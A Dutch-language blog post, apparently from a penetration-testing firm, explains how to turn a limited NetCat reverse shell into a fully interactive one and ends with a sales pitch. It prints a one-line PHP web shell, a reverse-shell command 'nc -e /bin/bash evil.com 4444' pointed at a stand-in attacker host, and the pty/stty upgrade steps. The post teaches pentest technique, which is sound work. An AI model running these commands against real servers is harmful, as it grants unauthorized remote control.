NetCat shell upgraden

De heilige graal tijdens een pentest is een goedwerkende shell. Wanneer het tijdens een pentest gelukt is om de server over te nemen door commando’s uit te kunnen voeren op het systeem, wordt er door de hacker vaak een verbinding opgezet naar zijn server. Hiervoor wordt vaak NetCat gebruikt. NetCat is een tooltje op Linux systemen dat het mogelijk maakt om andere programma’s via het internet te besturen. Een van de grootste frustraties voor hackers is echter dat de shell die je terug krijgt behoorlijk beperkt is. Deze binary kan afhankelijk van het systeem ook ncat of nc heten.

Hacken met NetCat

Stel, het is een hacker gelukt om een bestand te uploaden, genaamd shell.php:
<?php system($_GET['cmd']);?>

De hacker zet op zijn eigen server (evil.com) een poort open die luistert op poort 4444. Dit doet hij met nc -lvp 4444. Nu kan
voert hij het commando nc -e /bin/bash evil.com 4444 uit op de gehackte server. De gehackte server zal nu een verbinding opzetten naar de server van de hacker. Dit noemen we een reverse tcp shell.


john@Technetium:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [1.2.3.4] port 4444 [tcp/*] accepted (family 2, sport 54490)
whoami
cyberant
^C
john@Technetium:~$ whoami
john

Hierboven staat wat een hacker te zien krijgt. Wanneer de aanvaller per ongeluk CTRL-C intoetst, is hij zijn shell kwijt. Ook werken commando’s waar interactie voor nodig (zoals su) is niet.

Hoe upgrade je een Netcat Shell naar een interactieve shell?

De eerste stap die we kunnen doen om dit te verbeteren is door met Python een interactieve shell te starten. Dit kan met de PTY module van Python, en werkt als volgt:

python -c 'import pty; pty.spawn("/bin/bash")'

Het bovenstaande commando levert een semi-interactieve shell op. Dat wil zeggen dat het mogelijk is om commando’s zoals su en mysql, die om een wachtwoord vragen. De shell sluit zichzelf nog steeds af met CTRL-C, en auto completion via TAB werkt ook niet. Met een paar simpele commando’s (en een beetje magie) kunnen we nu naar een volledige shell.

Als we CTRL-Z uitvoeren wordt de shell naar de achtergrond geplaatst. Vervolgen typen we (in onze lokale terminal):

stty raw -echo
fg

Het bovenstaande zorgt ervoor dat we nu een volledige shell hebben, en alles kunnen wat via SSH bijvoorbeeld ook zou kunnen. Functies zoals tab completion en history werken nu. En VIM via NetCat? Sure!

reverse tcp shell

Meer informatie over onze diensten

Wilt u er zeker van zijn dat uw websites, apps of systemen vrij zijn van lekken of kwetsbaarheden? Onze experts gaan graag voor u aan de slag. Voor meer informatie over onze pentests of andere diensten kunt u vrijblijvend contact opnemen via onderstaand contactformulier. We vertellen u graag wat we voor u kunnen betekenen.

    Contact

    Randstad 22 147
    1316 BM Almere

    info@cyberant.com
    +31 (0)85 047 1590